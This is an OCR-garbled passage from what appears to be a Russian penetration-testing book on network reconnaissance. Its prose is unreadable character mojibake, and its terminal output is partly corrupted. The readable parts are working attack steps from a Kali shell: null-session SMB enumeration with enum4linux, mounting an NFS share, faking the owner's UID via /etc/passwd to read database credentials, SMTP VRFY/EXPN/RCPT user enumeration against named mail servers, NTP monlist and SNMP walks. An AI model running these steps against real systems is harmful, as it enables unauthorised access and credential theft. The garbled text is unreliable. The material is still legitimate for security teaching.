Eciiu BbI siBJIsIETECH 110JIB30BaTE/IeM LinuX, CAaMBIM TIPOCTBIM CIIOCOOOM JIJIST TIOJTY-
YeHUs TI0JIHO# nHbOopMauu, mpegoctasasieMoil SNMP-arentoM, 6yeT 1CIob3o-
BaHMe yTUINTH enum4linux. /laHHast yTHINTA TO3BOJISET TTOJYYUTh BCO BO3MOK-
HyI0 nHbopmaiuo o cucremax nox yinpasieHneM OC Windows u Linux-cepsepax

C YCTaHOBJIEHHBIM CEPBUCOM Samba.

ITpogemoHcTprpyeM pabOTy TaHHOI IIPOrPAMMBI U TOCMOTPHUM, KAKUE JJAHHbIE HAM

YIIAJI0Ch cOOPATh:

itsecbook@kali:~#  enum4linux 192.168.91.5
Starting enum4linux v@.9.1
=============( Target Information )===========

Target ........... 192.168.91.5

RID Range ........ 500-550,1000-1050

Username ......... v

Password ......... v

Known Usernames .. administrator, guest, sharon, none

Looking up status of 192.168.91.5

WINSRV <00> - M <ACTIVE> Workstation Service
WINS <03> - M <ACTIVE> Messenger Service
ADMINISTRATOR <03> - M <ACTIVE> Messenger Service
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MYDOMAIN <00> - <GROUP> M <ACTIVE> Domain/MYDOMAIN Name
MYDOMAIN <le> - <GROUP> M <ACTIVE> Browser Service Elections
WINSRV <20> - M <ACTIVE> File Server Service

MAC Address = 00-D0-C3-AD-11-65

[+] Server 192.168.91.5 allows sessions using username '‘', password "'

Domain Name: MYORG
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

[+] Got OS info for 192.168.91.5 from smbclient: Domain=[MYDOMAIN] OS=[Windows
5.0] Server=[Windows 2000 LAN Manager]
[+] Got OS info for 192.168.91.5 from srvinfo:

192.168.91.5 Wk Sv Sql NT SNT BMB

platform_id : 500
os version g 5.0
server type 8 0x29007

index: Ox1 RID: ©x3ef acb: 0x00000010 Account: admin Name: (null) Desc:
(null)

index: ©x2 RID: @x1f4 acb: 0x00000210 Account: Administrator Name: (null)
Desc: Built-in account for administering the computer/domain

index: Ox6 RID: Ox1f5 acb: 0x00000215 Account: Guest Name: (null) Desc:
Built-in account for guest access to the computer/domain

user:[admin] rid:[@x3ef]
user:[Administrator] rid:[ex1f4]
user:[Guest] rid:[0x1f5]

Domain=[MYORG] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
Domain=[MYORG] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

Sharename Type Comment

IPC$ IPC Remote IPC
ADMIN$ Disk Remote Admin
c$ Disk Default share

session request to 192.168.91.5 failed (Called name not present)
session request to 192 failed (Called name not present)

[+] Attempting to map shares on 192.168.91.5
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//192.168.91.5/IPC$ Mapping: OK Listing: DENIED
//192.168.91.5/ADMIN$  Mapping: DENIED, Listing: N/A
//192.168.91.5/C$ Mapping: DENIED, Listing: N/A

[+] Attaching to 192.168.91.5 using a NULL share
[+] Trying protocol 445/SMB...
[+] Found domain(s):

[+] WINSRV
[+] Builtin

[+] Password Info for Domain: WINSRV

[+] Minimum password length: None

[+] Password history length: None

[+] Maximum password age: 30 days 00 hours 00 minutes
[+] Password Complexity Flags: ©00000

[+] Domain Refuse Password Change: ©
[+] Domain Password Store Cleartext: ©
[+] Domain Password Lockout Admins: @
[+] Domain Password No Clear Change: ©
[+] Domain Password No Anon Change: ©
[+] Domain Password Complex: ©

[+] Minimum password age: None

[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes

[+] Account Lockout Threshold: None

[+] Forced Log off Time: Not Set

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: ©

[+] Getting builtin groups:
group:[Administrators] rid:[0x220]
group:[Guests] rid:[0x222]

[+] Getting builtin group memberships:

Group 'Guests' (RID: 546) has member: WINSRV\Guest

Group 'Users' (RID: 545) has member: NT AUTHORITY\INTERACTIVE

Group 'Users' (RID: 545) has member: NT AUTHORITY\Authenticated Users
Group 'Users' (RID: 545) has member: WINSRV\admin

Group 'Administrators' (RID: 544) has member: WINSRV\Administrator

143
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[+] Getting local groups:
[+] Getting local group memberships:

[+] Getting domain groups:
group:[None] rid:[0x201]

[+] Getting domain group memberships:

Group 'None' (RID: 513) has member: WINSRV\Administrator
Group 'None' (RID: 513) has member: WINSRV\Guest

Group 'None' (RID: 513) has member: WINSRV\admin

=( Users on 192.168.91.5 via RID cycling (RIDS: 500-550,1000-1050 )=

[I] Found new SID: S-1-5-21-1606980848-73586283-839522115

[I] Found new SID: S-1-5-32

[+] Enumerating users using SID S-1-5-21-1606980848-73586283-839522115 and
logon username '', password
S-1-5-21-1606980848-73586283-839522115-500 WINSRV\Administrator (Local User)
S-1-5-21-1606980848-73586283-839522115-501 WINSRV\Guest (Local User)

21-1606980848-73586283-839522115-512 *unknown*\*unknown* (8)

S-1-
S-1-5-21-1606980848-73586283-839522115-513 WINSRV\None (Domain Group)

5-
5-
I/ITaK, MbI CMOIJIN TTOJIYYUTb OY€Hb MHOT'O I/IHTEpGCHOf/i I/IH(l)OpMa]_[I/II/IZ MMCHAa I10JIb-
SOBaTe]IefI, BEPCUHN YCTaHOBJIEHHOI'O HO, CIIMCOK CE€TEBbIX TMCKOB U /1a’Ke ITOJIMTNKH

GesonacHoctu. Best mosryuentast uHGOpPMAIVst ABJISIETCS KPUTHYHON U B PA3bl YIIPO-
MIAET 32/1a4y 37I0YMBITIJIEHHUKY TIPU B3JIOME CUCTEMBI.

Mouck NFS

NFS, wimm Network File System, aBasierca pacnpeznesennoii ¢aitnoBoii cucteMoi,
KOTOpasI TI03BOJISIET KOMITBIOTEPAM B CETH COBMECTHO UCIIOJIb30BATh (hallJibl U JIPyTHE
pecypebl. OHa Obuta paspaborana B 1984 rojy kommanwueit Sun Microsystems u crasia
OCHOBOI JJIAA MHOT'MX CEeTeBbIX (baﬁﬂOBbIX CUCTEM.

NFS 1no3BoJIseT mob30BaTeio IpOCMaTPUBaTh, XPAHUTh 1 OOHOBJIATH (hailibl Ha
yIAJIEeHHOM cepBepe TakuM 00pa3oM, OYATO OHM HaXOAATC Ha ero COOCTBEHHOM
komibioTepe. NFS ucroJib3yer KJneHT-CEPBEPHbBII TPOTOKOJI, T/le CEPBEP — ATO
KOMIIBIOTED, KOTOprfI XpaHUT (I)aﬁﬂbl " PpeCypcehl, a KIIMEHTBI — 9TO KOMIIbIOTEPDI,
KOTOPBIE TTOJTYYaiOT IOCTYTI K TUM Pecypcam.

NFS 1mpoKko ucrosib3yercs: B KOpHopaTUBHBIX CETSIX, Te HeoOX0AUM 00LIMIA OCTYII
K (paistam. OHa TaksKe UCHOJIB3YETCs B OOTAYHBIX BBIUMCICHUSIX U [P BUPTYaIU3aI[HK
IUUTST TIPETOCTABIIEHHST OOTIETO IOCTYTIA K PECYPCaM U yTTpaBienns nanubiMi. Crremyer
OTMETHTD, uTO B TiaHe VB ee HacTpoiika mpecTaBisieT coG0i IOCTATOUHO CIOKHYIO
3a/1a4y. A IPUHUMAsT BO BHUMAHHE TO, UTO €€ TIPOTOKOJT CaM TIo cebe HeI0CTaTouHO 6e30-
HaceH, XOT4 1 IUPOKO IPUMEHSIETCS, 3TO JIeJIaeT €ro XOPOoIIel HeJIbIo [ aTaKyIoIero.
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CkaHupoBaHue

Portmapper u RPCbind — ciysk6b1, HCTIOIB3YIOIIHECST IJIsT PAOOTHI ¢ Ya e HHBIMU
nporeaypamu BoizoBa (RPC). O6a cepsuca paborator va TCP-tiopre 111 u nosso-
JISTIOT KJIMEHTAM OIIPe/IeJTUTh, HA KAKUX [IOPTaX CEPBEP IIPOCJIYIINBAET ONPe/leIeHHbIe
cyx6er RPC.

Portmapper — ato ciy:x0a, corocrasiistioniast Homepa mporpamm RPC ¢ Homepamu
MOPTOB, HA KOTOPBIX PAGOTAIOT HTU TIPOTPaMMBbL. ITO 1103B0JIsteT KinentaM RPC mosy-
YaTh HH(HOPMAITHIO O TOM, C KAKUM ITOPTOM OHU JIOJIKHBI COEJIMHSITHCST /15T 0O paTieH st
K onpesesienHoii caysxk6e. RPChind BoimnosHsieT aHaiornuiyio (hyHKIUIO U SIBJSETCST
sameroil Portmapper B 6osiee HoBbIX cucTemax. Portmapper u RPCbind yacro ucnosib-
3YIOTCSI B PasJIMUHbIX CETEBBIX MPOTOKOJIAX U cay»xk0ax, ocHoBaHHbIX Ha RPC, —NFS
(cereBas (aiinosas cucrema), NIS (cereBas nHGOPMaIMOHHA CIyK0a) 1 T. 1.

MBI MOKEM HMCIIOJIb30BATh NMAP JIJIsA TIOUCKA CUCTEM C 3aMyIeHHbIMU CITyKOaMu
Portmapper u RPCbind:

itsecbook@kali:~# nmap -v -p 111 192.168.91.1-254

Jluist ympotneHust TOMCKa BOCTIOIB3yeMCs OJJHUM M3 TOTOBBIX cKpUNITOB NSE —
rpcinfo:

itsecbook@kali:~# map -sV -p 111 --script=rpcinfo 192.168.91.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 10:19 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00098s latency).

PORT STATE SERVICE VERSION
111/tcp closed rpcbind

Nmap scan report for 192.168.91.128
Host is up (0.00061s latency).

PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/udp nfs

| 100005 1,2,3 50255/udp mountd

| 100005 1,2,3 56911/tcp mountd

| 100021 1,3,4 40160/udp nlockmgr
| 100021 1,3,4 57765/tcp nlockmgr
| 100024 1 34959/udp status

| 100024 1 46908/tcp status

| 100227 2,3 2049/tcp nfs_acl

I

_ 100227 2,3 2049/udp nfs_acl

Service detection performed. Please report any incorrect results
at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.50 seconds
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Nmap NFS NSE-ckpunThbl

ITocne Toro kak Mbl 00Hapykuu cepep ¢ NFS, mombitaemcst cobpaTh GOJIbIINE HH-
hopmarim, ncnosbayst NSE-ckputiter. CKpUIITHI 7151 NMap HAXOAATCS B TUPEKTOPUHI
/usr/share/nmap/scripts/.

Bce BO3MOXKHBIE CKPUTIITHI 3AIyCKAIOTCS € TOMOIIBIO CHMBOJIA *:

itsecbook@kali:~# nmap -p 111 --script nfs* 192.168.91.128

Nmap scan report for 192.168.91.128

PORT STATE SERVICE

111/tcp open rpcbind

| nfs-showmount:

| _ /home/john/share 192.168.0.0/255.255.0.0

O6HapysKEHHYIO IUPEKTOPHIO CMOHTUPYEM B JIOKAJIBHBIN KATAJIOT HATIIETO KOMITHIO-
Tepa:

itsecbook@kali:~# mkdir remote_dir
itsecbook@kali:~# mount -o nolock 192.168.91.128:
/home/john/share ~/ remote_dir/

itsecbook@kali:~# cd remote_dir/

itsecbook@kali:~ /remote_dir/# 1ls
configuration.php index.php robots.txt

Wrax, Mbl ostyunsin goctyn K daiisam Ha ynajnenHoMm cepsepe. HaBepuska daiin
¢ HazBauueM configuration.php mipuBiiek Baiiie BHUMaHUE, BEIb OH MOKET COIEPIKATH
JIOTUH ¥ TIAPOJIb JIJIST I0CTyIA K 6ase faHHbIX. [TompoOyeM BBIBECTH €T0 COAEPKUMOE
IIpy IIOMOIIM KOMaH/IbI cat:

cat configuration.php
cat: configuration.php: Permission denied

K coxasenuio, y Hac HUYETo He BBIILIO, M Kak 4acTo ObiBaeT B Linux, mpobJema,
CKOopee BCero, CBsI3aHa ¢ paBaMu A0cTyma. [IpoBepuM aTy THIIOTE3Y 1 MoIpodyeM
MOJIYYUTh JIOCTYTI.

[IpoBepsieMm, y KOT0 ecTb IpaBa focTyna K (aiy:

1s -1la

total 24

drwxr-xr-x 2 1014 1014 4096 Apr 15 12:10 .
drwxr-xr-x 7 root root 4096 Apr 15 2023 ..

-PWX------ 1 1015 1015 48 Apr 15 13:05 configuration.php
“PWX- - 1 1015 10815 48 Apr 15 13:085 index.php
=PWX=====-= 1 1015 1015 48 Apr 15 13:05 robots.txt

ITpoanamusupyem HOBbIE JaHHbIe. MbI BUAUM, YTO JZOCTYIIOM K (hailay obsamaer
ero Baazesert, a UUID Brazennia daitra — 1015, Teneps st nostyuennst gocryna
K (hailiy cosgaaum nosbzosatess ¢ uaentudnbiM UUID, Ho Ha HalieM KoMIIbloTepe.
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O6paTI/IT€ BHMMaHMWE Ha TO, YTO IIpU CO3JaHNU 1TOJIb30OBATEJIA Mbl HE BbI6I/Ipa€M
UUID, OC cama ero mpucsout. [ToaToMy mocie co3iaHust MoJib30BaATES MBI JIOJKHBI
IIOMEHATD €r0 BPYYHYIO:

itsecbook@kali:~# adduser owner
itsecbook@kali:~# sed -i -e 's/1003/1015/g' /etc/passwd

[Tosb3oBatesb cosnat, u emy pucsoed Hyskubiii UUID. Teneps He0OX0AMMO cMe-
HUTB [0JIb30BaTEIsl U IOBTOPHO TIOMPOOOBATh IPOYNTATH MHTEPECYIOIINI Hac (aiir:

itsecbook@kali:~/remote_dir/# su owner
owner@kali: ~/remote_dir/$ cat configuration.php

public $dbtype = 'mysqli’;

public $host = 'localhost’;

public $user = 'custol23_joom778"';
public $password = 'verystrongpassword';
public $db = 'custol23_joom778';

public $dbprefix = 'josf4_';

public $dbencryption = 0;

Kax MBI 1 oxuzamy, B HHTEpecyoleM Hac dafiie comep:KuTcss KOHOUTY paTTHs
php-cxpunTa, a Tam ykazama Heobxoanmast MHHOOPMATINST 7T TIOAKTIOUEHUs K 6aze
JTAHHBIX.

PaboTa C 3neKTpOHHOW NOYTON

B nanm a1 a1eKTpOHHAS TIOUTA SIBJISIETCST OJTHUM M3 OCHOBHBIX MHCTPYMEHTOB Be-
nenust 6usneca. Jlaske B HEGOTIBITIX OPTAHU3AIMSX ¥ KAKAOTO COTPYIHIKA MMEETCST
nepcoHabHbIN e-mail. ClieKTp IpUMeHEHUsT 3JIEKTPOHHON TOYThI JOCTATOYHO M-
POK: BHYTPEHHSIST KOMMYHUKAIHsI, TEPECHIIKA IOKYMEHTOB, 00IIEHNE ¢ KITHEHTAMH,
mepernncKka ¢ mapTHepaMu 1 T. . MHOTHe COTPYIHUKHN 4aCTO UCTOJIB3YIOT TIOUTY
B JIMYHBIX TETISIX, & 9TO OOJIBIITNE PUCKU € TOYKY 3peHHsT MHMOPMAITHOHHOHT Oe30mac-
HOCTH, HO XOPOIIO /I B3JIOMIIIUKA.

EcTb HECKOJIBKO CTTOCOOOB MOJIyueHUsI CliicKa e-mail-agpecos kommanuu. OnuH u3
HUX Mbl YK€ PACCMOTPEJIH B IIPEABIAYIIEH TIaBe.

Bropoii criocob we cauiikom HagexeH. OH OCHOBBIBACTCST HA TOM, UTO aJIMHHUCTPA-
TOPBI He OTKJTIOYAIOT VRFY 1 EXPN Ha CBOMX cepBepax. B pesyssrare 37I0yMBITIIIEHHUK
MOJKET TTPOBEPUTH CITUCOK COOPAHHBIX MMOYTOBBIX aJPECOB WU JIaske MOA06PaTh UxX
B aBTOMaTUYECKOM PEKUME.

B nporokosie SMTP (Simple Mail Transfer Protocol) komanma VRFY (Verify) uc-
MOJIb3YETCsI JIJIs1 TIPOBEPKHU CYIIECTBOBAHUST OTIPE/IEJIEHHOTO TIOUTOBOTO SIIIMKA Ha
SMTP-cepsepe. Koryia kimeHT oTmpassieT Komauy VRFY ¢ apryMeHTOM, TIPe/ICTaB-
JISTIOTIIAM cOOO0M MMSI TI0JIB30BATEIST UJTH a[[PEC DJIEKTPOHHOI MOYTHI, CEPBEP OTBEYAET,
CYIIECTBYET JIM YKA3aHHbBII TTOUTOBBIN K. ECM MOYTOBBIN AMINK CYIIECTBYET,
cepBep Bo3Bpalaer Koj otsera 250 u oJIHOe UMsI TOYTOBOTO SIIIUKA.
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Hanpuwmep, komanza VRFY user@example.com IIpUBeET K TPOBEPKE, CYIIECTBYET JIN
MTOYTOBBIN SITUK user@example.com Ha cepBepe:

itsecbook@kali:~# telnet mx.ibox.lv 25
Trying 194.152.31.73...

Connected to mx1.inbox.1lv.

Escape character is '~]'.

220 timmy2-1lv.inbox.lv ESMTP

VRFY root

502 5.5.1 VRFY command is disabled

quit

221 2.0.0 Bye

Connection closed by foreign host.

itsecbook@kali:~# telnet mx.adb.com 25
Trying 216.46.24.12...

Connected to mx.adb.com.

Escape character is '~]'.

220 timmy2-1v.inbox.lv ESMTP

VRFY root

250 2.1.5 root <root@ mx.adb.com>
VRFY anderson

550 5.1.1 anderson... User unknown
quit

221 2.0.0 Bye

Connection closed by foreign host.

B TIEPBOM CJiy4dae Mbl BUJJUM OTBET CEPBEPA, Ha KOTOPOM OTKJIIOYE€HA BO3SMOJKHOCTDH
IIPOBEPKU HO]II)BOBaTEJIefI, BO BTOPOM JK€ a/IMUHUCTPATOPhbI HE 1103a00TUJINCH O TOH-
KOU HaCTpOfIKe IIOYTOBOTO cepBuUCa.

Komanma EXPN (Expand) ucnosbsyercst s mosnyderns nHGOPMALUN O TOYTOBON
paccouike. [To cyTn, oHa 3arpanmBaeT 1 MoJyJaeT CIIMCOK BCEX a/[PecaToB YKa3aHHOM
PACCHLITKH.

Hampumep, eciin y Bac ecTh pacchlika moj HazBaHuem <staff», To nmpu ornpaske
KoMaH/Ibl EXPN staff na SMTP-cepBep oH BEepHET CIIUCOK BCEX a/IPECOB AIEKTPOH-
HOM TIOYTBI, KOTOPbIEC TTOJIYIalOT 9Ty PACCBLIKY. B JTaHHOM TIpUMEPE Mbl BUIM, KaK
cepBep BO3BpalllaeT CIIMCOK BCEX a/[PECOB, KOTOPbIE COAEPKATCS B CIIUCKE PACCHLIKN

«bob»:

itsecbook@kali:~# telnet mx.inbox.lv 25
Trying 10.34.15.1...

Connected to 10.34.15.1.

Escape character is '~]'.

220 myhost ESMTP Sendmail 8.9.3

HELO

501 HELO requires domain address

HELO x

250 myhost Hello [10.34.15.5], pleased to meet you
EXPN bob

250 Super-User bob@myorg.net
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250 Mike Storm <mikestorm@myorg.net>
EXPN alice
550 alice... User unknown

[Tox6op nosbsosateleii ¢ ucnosbsosannem RCPT-TO:

itsecbook@kali:~# telnet mx.soole.com 25
220 serverl ESMTP Sendmail 8.9.3

HELO

501 HELO requires domain address

HELO x

250 serverl Hello [10.0.0.72], pleased to meet you
MAIL FROM:smith

250 smith... Sender ok

RCPT TO:mike

250 mike... Recipient ok

RCPT TO: robert

550 robert... User unknown

EcTb elite ofiuH 3ac/yKUBAOIIUI BHUMAHUS CIIOCO0O MOJIyYUuTh O0Jibiine mH(pOpMa-
un 06 agpecare. Cepsuc WhoReadMe 1no3BosisieT onpeaeinTb TUIT OIIePalluOHHON
cucreMbl, Opaysepa, ycTaHOBJAEHHbIE KOMIIOHEHTHI ActiveX n maxe nmpuMepHoe
MECTOIOJIOKEHHE ajlpecaTa.

B Kali Linux ecth uHTEpECHAs! yTUINTA, O3BOJISIONIAS ABTOMATU3UPOBATH JIAHHBIN
Ipolece, 10 yMOJIYaHuIoO OHa He yCTaHOBJICHA, HO HAaXOAUTCA B PEIIO3UTOPUAX U aK-
TUBHO HojiepkuBaeTcs. i ee ycTaHOBKY BbIIIOJHUM KOMaH/LY:

itsecbook@kali:~# apt install smtp-user-enum

Yrummra smtp-user-enum MOXKET MCIOTb30BAThCS JIJIsT Hepe6opa moJib30BaTejei
¢ IIOMOII[bIO0 KOMaH/IbI VRFY. B kauectse IapaMeTpa JJisd OIIpeie/IEHNs CYIIECTBYIOINX
AKKayHTOB OHA TPUHUMAET CITUCOK MTOTEHITMATbHBIX UMEH TIoJib3oBaTesieit. [Ipusenem
IIpUMEDP €€ UCIIOIb30BAHUSI:

itsecbook@kali:~# smtp-user-enum -M VRFY -U usernames.txt -t target.smtp.
server

MbI UCTIOTb30BAN CJIEYTOTIIE TAPAMETPBI:
® -M VRFY — metoz (B anHoMm ciaydae VREY);

® -U usernames.txt — ¢ails1 co CMICKOM UMEH TOJIh30BaTeNeH;

® -t target.smtp.server — nenesoit SMTP-cepsep.

[NonyyeHne nHgopmaumm ot NTP-cepsepa

JlokanbHbie NTP-cepBepbl 04eHb 4acTo, 0COOEHHO B KPYITHBIX OPTaHU3AIUSX, UC-
I10JIb3YIOTCS /U1 CUHXPOHU3ALMY BpeMeHH CepBepPOB U KOMIILIOTEPOB B JIOKAIbHON
ceTu.
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[Tpu momorit NM AP MoskHO He TOTBKO Y3HATh TOYHOE BPeMsl, HO U TTOJIyYNThb CITUCOK
nocsiefHux 600 X0CTOB, KOTOPbIe CHHXPOHU3UPOBAJIN BPEMS C 9TUM CEPBEPOM. JTO
MOZKET OBITh OYeHb I10JIE3HO, €CJIU BBI €llle He 3HAeTe BCell CTPYKTYPbI CEeTH, TaK KakK
NTP-cepsep 06bIYHO OCTYTIEH € JI0GOTO XOCTA JIIOOON MOACETH.

B coBpeMenHbIX peamn3arusix ata hyHKIH TT0 yMOTIaHuTo oTKIiodera. Oma GbiBaet
JIOCTYIIHA TOJIBKO B TOM CJIy4ae, KOI/la a/IMUHUCTPATOPLI CIEIIMaIbHO BKIIOYAIOT ee
C 1EJIBIO OTJIAJIKN Wi MOHUTOpUHTA. Ho BbI MOXKeTe BCTPETUTD ycTapeBIue Bepcun
NTP-cepBepos, 10 cux 1op yA3BUMbIe K JaHHOMY THUITY aTaKH.

Ocy1iecTBUM TTIOUCK W 9KCILTYATAIUIO JaHHOHN YSI3BUMOCTH € UCMOJTb30BAHUEM
ckpuntoB Nmap:

itsecbook@kali:~# nmap -sU -pU:123 -Pn -n --script=ntp-monlist 192.168.91.32

PORT STATE SERVICE REASON
123/udp open ntp udp-response
| ntp-monlist:

| Target is synchronised with 34.127.56.0 (reference clock)
| Alternative Target Interfaces:

| 10.0.4.20

|  Private Servers (0)

|  Public Servers (@)

|  Private Peers (0)

|  Public Peers (0)

|  Private Clients (2)
I

|

I

I

|

I

I_

10.0.8.35 169.254.138.55
Public Clients (12)
192.168.91.1 192.168.91.2 192.168.91.3 192.168.91.4

Other Associations (1)
127.0.0.1 seen 1853569 times. last tx was unicast v2 mode 7

[ony4yeHne nHdopmaumm ¢ ncnonb3osaHnem SNMP

SNMP (Simple Network Management Protocol) — mpotokost, ucmosibayembiii st
VIIPaBJIEHUS CETEeBBIMU yCTpolicTBaMu. JJaHHBIN MPOTOKOJ MOANEPKUBAIOT TaKue
YCTPONCTBA, KAk POyTephl, cBUYHM, paboure crantuu u T. 1. Cam cepsuc paboraer
IIPU HAJTMYUU IBYX OCHOBHBIX KOMIIOHEHTOB: SNMP-arenTa, KOTOPBIN HaXOAUTCS
Ha BejloMoM ycTpoiictBe, u SNMP-cepBepa, KOTOPBI OCYIIECTBIISIET YIIPABJIEHIE
BE/IOMBIM YCTPOICTBOM.

[Tpotoxosr SNMP nipepycmaTpuBaet iBa ypOBHS AOCTYTIA: TIEPBBINA MTO3BOJISIET CUN-
tarb nHMOpManuio 06 ycrpoiictse (read community string), a BTOpoil — UBMEHUTh
KOH(UTYpaLIO BeZIOMOTro ycrpoiicTsa (read /write community string). Heobxomumo
OTMETHTD, 4TO TI0 YMOJTYAHUIO MOKHO cuuTaTh read community string 6e3 napoJis,
a 171 read /write community string MHOTHe afAMIHUCTPATOPbI OCTABJISIOT CTAHAAPT-
HBII APOJIb, IPELYCMOTPEHHBII TEM UJIM WHBIM PazpaboTInKOM.
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YoM Hy T TpOTOKON paboTtaer Ha ocHoBe UDP, mmeer caabyto cucremy ay-
TeHTHGUKAIMY U He 06Ja/1aeT YCTOHYMBOCTBIO K criyunry. /laHHbIe epenaoTes
6e3 mudpoBanust 1 MOTYT ObITh mepexBadeHbl. O0braHO0 SNMP ucomb3yoT 17151
MOHHWTOPWHTA MTapaMeTPOB Pa3JINUHBIX YCTPOHCTB, HO Ha B3TJIsA/ aBTopa, SNMP
npe/ICcTaBysieT GOJIBIINYIO YIPo3y /it 6E30TIacCHOCTH OPTaHU3AIIUIA.

Cy1iecTByeT 1eJibIi Pecypc, MOCBSIIEHHBIN CTAHAAPTHBIM TTAPOJISIM PA3JIUIHBIX 110~
CTaBIMKOB 000PYIOBAHISI 1 IIPOrPaMMHOI0 obectiedenist, — www.defaultpasswords.com.

MIB

MIB (Management Information Base) B konrekcte SNMP — 910 nepapxuyeckast
CTPYKTYPA, UCIIOJIb3yeMast [IJIsh Opranusdanuu u ugaentudukanuu nadopmanuu, Ko-
Topyto SNMP MokeT moy4aTh OT yCTPOUCTB B CETH.

Wepapxus usobpakaercsa B Buzie «aepesa MIB». Kopenb nepesa mpeacTaBisger co-
60it «<MIPOBOE COOOTIECTBO>, OT HETO OTXOJAT JIBe OCHOBHBIE BeTBU: [SO 1 private.
Betsb private Brimodaet B cebst mHMDOPMAIINIO, CIIEIMMUIHYIO IS OTIPEETCHHOTO
pou3BoUTENS Mian yerpoiictBa. Kaskbiit y3en B iepese MIB umeer yHukaabHbIi
unenTrduratop o6bvekta (OID), KOTOPEIT TIpecTaBIsSeT COO0U MOCTIEI0BATEb-
HOCTB YHCeI, pa3fieJieHHbIX TouKaMu (puc. 4.7). OID ucnosbayeTcs 17151 yHUKaIbHON
nneHTuduUKaIMm Kax;aoro ajgementa nngopmainuu B MIB.

Root

ccitt(0) ./ \. joint-iso-ccitt(3)

iso (1)

|
org (3)

dod (6)

internet (1) <-1.3.6

directory (1) @

mgmt (2) ./ private\(\i)\\\

experimental (3)

enterprise (1)
dpsinc (2682)

/

dpsAlarmControl (1) <-1.3.6.1.4.1.2682.1

Puc. 4.7. lNpumep aepesa MIB

Baxxno ormetuts, uto Bca mHpopmaiud, xpandmasics B MIB, asisercs cratu-
CTHYECKON M MOKET ObITh MCII0Jb30BaHa /I MOHUTOPMHIA CETEBBIX YCTPOIICTB
U YIIPaBJIeHUS UMU.

CymectByet MHOKXecTBO TapaMeTpoB SNMP, koTopbie MOKeT 3a1poCUTh T0JIb30Ba-
TeJIb, IPUBEJIEM HEKOTOPbHIE U3 HUX.
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® 1.3.6.1.2.1.25.4.2.1.2 — 3anynieHHbIe IIPOTPAMMBI;
® 1.3.6.1.2.1.6.13.1.3 — TCP-noprsy;

® 1.3.6.1.2.1.25.6.3.1.2 — ycranosaennoe [10;

® 1.3.6.1.2.1.25.2.3.1.4 — XpaHUINIIIA JaHHBIX.
Mounck SNMP

[l monmyvyenns cnimcka nojepskuBaomux mpotokosa SNMP xocToB Bociosb3yeMcst
nmap:

itsecbook@kali:~# nmap -sU -p 161 192.168.1.0-254
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-02 10:13 EDT

Nmap scan report for 192.168.1.160 [host down]

Nmap scan report for 192.168.1.161 [host down]

Nmap scan report for 192.168.1.163 [host down]
Initiating SYN Stealth Scan at 10:14

Scanning 76 hosts [1 port/host]

Completed SYN Stealth Scan at 10:14, 0.48s elapsed (76 total ports)
Nmap scan report for znl4591.mycorp.org (192.168.1.19)
Host is up (©.00s latency).

PORT STATE SERVICE

161/tcp closed snmp

MAC Address: D4:85:64:B8:06:B6 (Hewlett Packard)

Nmap scan report for 192.168.1.23

Host is up (©.00s latency).

PORT STATE SERVICE

161/tcp filtered snmp

MAC Address: 3C:07:54:28:A7:D5 (Apple)

Nmap scan report for b-m@l-6.mycorp.org (192.168.1.32)
Host is up (©.00s latency).

PORT STATE SERVICE

161/tcp closed snmp

MAC Address: ©0:1D:70:FA:3B:3E (Cisco Systems)

Nmap scan report for b-m@l-1.mycorp.org (192.168.1.34)
Host is up (©.00s latency).

PORT STATE SERVICE

161/tcp closed snmp

MAC Address: ©0:1D:70:FA:39:EQ (Cisco Systems)

Nmap scan report for b-m@l-3.mycorp.org (192.168.1.35)
Host is up (©.00s latency).

PORT STATE SERVICE

161/tcp open  snmp

MAC Address: ©0:1D:70:FA:3A:72 (Cisco Systems)

Nmap scan report for zn16555.mycorp.org (192.168.1.201)
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Host is up (0.00s latency).

PORT STATE SERVICE

161/tcp filtered snmp

MAC Address: E4:11:5B:58:03:F2 (Hewlett Packard)

Nmap scan report for znl18405.mycorp.org (192.168.1.205)
Host is up (0.00s latency).

PORT STATE SERVICE

161/tcp filtered snmp

MAC Address: 90:B1:1C:81:9B:AB (Dell)

Nmap scan report for 192.168.1.206
Host is up (0.00s latency).
PORT STATE SERVICE

161/tcp open snmp
MAC Address: C@:56:E3:A0:01:DF (Hangzhou Hikvision Digital Technology)

[lasee MBI pacCMOTPUM HECKOJIBKO MHTEPECHBIX TTPUMEPOB TOTO, KaK MOJYIUTh WH-
(opmarnuio o 1eseBoii cucreme, ucnosbayst SNMP.

C6op AaHHbIX

C nomoupio yrunusl snmpwalk, koropas paboraer kak mox OC Linux, Tak u oz
OC Windows, MOKHO 1160 TI0JIyYUTh BCIO HHGOPMAIIMIO O CUCTEME, JTUOO0 IIPOCMO-
TPETh €€ YacTh.

[Tosyuum Bclo gocTyinyio ungopmanuio:

itsecbook@kali:~# snmpwalk -v2c -c public localhost

SNMPv2-MIB: :sysDescr.® = STRING: Linux localhost.localdomain 2.6.32-122.el6.
x86_64 #1 SMP Thy May 2 10:20:34 EST 2023 x86_64

SNMPv2-MIB: :sysObjectID.® = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB: :sysUpTimeInstance = Timeticks: (99554) ©:16:35.54
SNMPv2-MIB: :sysContact.® = STRING: Root <root@localhost> (configure /etc/snmp/
snmp.local.conf)

SNMPv2-MIB::sysName.® = STRING: localhost.localdomain

SNMPv2-MIB: :sysLocation.@ = STRING: Unknown (edit /etc/snmp/snmpd.conf)

B nannom cirydae Mbl 3aTIPOCUITH BCIO JIOCTYTTHYIO HH(OPMAIIHIO O IIeJIEBOI MaIIIHe.
B mapamerpax ykaszan qomen public u Bepcust mpotokosa — 2.

